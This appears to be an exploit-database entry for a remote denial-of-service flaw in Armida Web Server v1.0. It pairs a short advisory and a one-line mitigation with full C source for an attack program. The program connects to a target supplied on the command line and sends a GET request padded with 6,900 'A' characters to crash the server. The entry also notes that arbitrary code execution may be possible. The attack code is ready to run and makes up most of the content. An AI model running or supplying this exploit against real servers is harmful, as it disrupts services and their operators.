header-logo
Suggest Exploit
vendor:
Armida Web Server
by:
posidron
7.5
CVSS
HIGH
Remote Denial of Service
400
CWE
Product Name: Armida Web Server
Affected Version From: Armida Web Server v1.0
Affected Version To: Armida Web Server v1.0
Patch Exists: N/A
Related CWE: N/A
CPE: a:armida:armida_web_server:1.0
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2002

Denial of Service Attack against Armida Web Server v1.0

Armida Databased Web Server is reportedly prone to a remote denial of service when process malicious GET requests. The problem occurs when processing requests containing excessive data. Exploitation of this vulnerability would result in the remote service crashing. Although unconfirmed, due to the nature of this vulnerability it may be possible to supply and execute arbitrary code.

Mitigation:

Limit the size of requests that can be processed by the server.
Source

Exploit-DB raw data:

// source: https://www.securityfocus.com/bid/8017/info

Armida Databased Web Server is reportedly prone to a remote denial of service when process malicious GET requests. The problem occurs when processing requests containing excessive data.

Exploitation of this vulnerability would result in the remote service crashing. 
Although unconfirmed, due to the nature of this vulnerability it may be possible to supply and execute arbitrary code.

/**************************************************************
*
*     Denial of Service Attack against Armida Web Server v1.0
*    *    Tripbit Security Development
*    ----------------------------
*
*    Author: posidron
*
*    Contact
*    [-] Mail: posidron@tripbit.org
*    [-] Web: http://www.tripbit.org
*    [-] Forum: http://www.tripbit.org/wbboard
*    [-] IRC: irc.euirc.net 6667 #tripbit
*
*    Greets: #csec, #securecrew, #tripbit
*
**************************************************************/

#include <stdio.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>

int main(int argc, char *argv[])
{
    int port, sockfd;
    struct sockaddr_in server;
    struct hostent *host;
       char send[6915], flood[6900];
    char get[3] = "GET", http[12] = "HTTP/1.0\n\n";
       memset(flood, 'A', 6900);
       strcpy(send, get);
    strcat(send, flood);
    strcat(send, http);

    if(argc < 3)
    {
        printf("Usage: %s [target] <port>\n", argv[0]);
        exit(0);
    }

    port = atoi(argv[2]);

    host = gethostbyname(argv[1]);
    if(host == NULL)
    {
        printf("Connection failed!...\n");
        exit(0);
    }

    server.sin_family = AF_INET;
    server.sin_port = htons(port);
    server.sin_addr.s_addr = inet_addr((char*)argv[1]);

    printf("DoS against Armida v1.0\n");

    if( (sockfd = socket(AF_INET,SOCK_STREAM,0)) < 0)
    {
        printf("Can't start socket()!\n");
        exit(0);
    }
       if(connect(sockfd,(struct sockaddr*)&server,sizeof(server)) < 0)
    {
        printf("Can't connect!\n");
        exit(0);
    }
       write(sockfd, send, strlen(send));
       printf("Attack done!...\n");
       close(sockfd);
}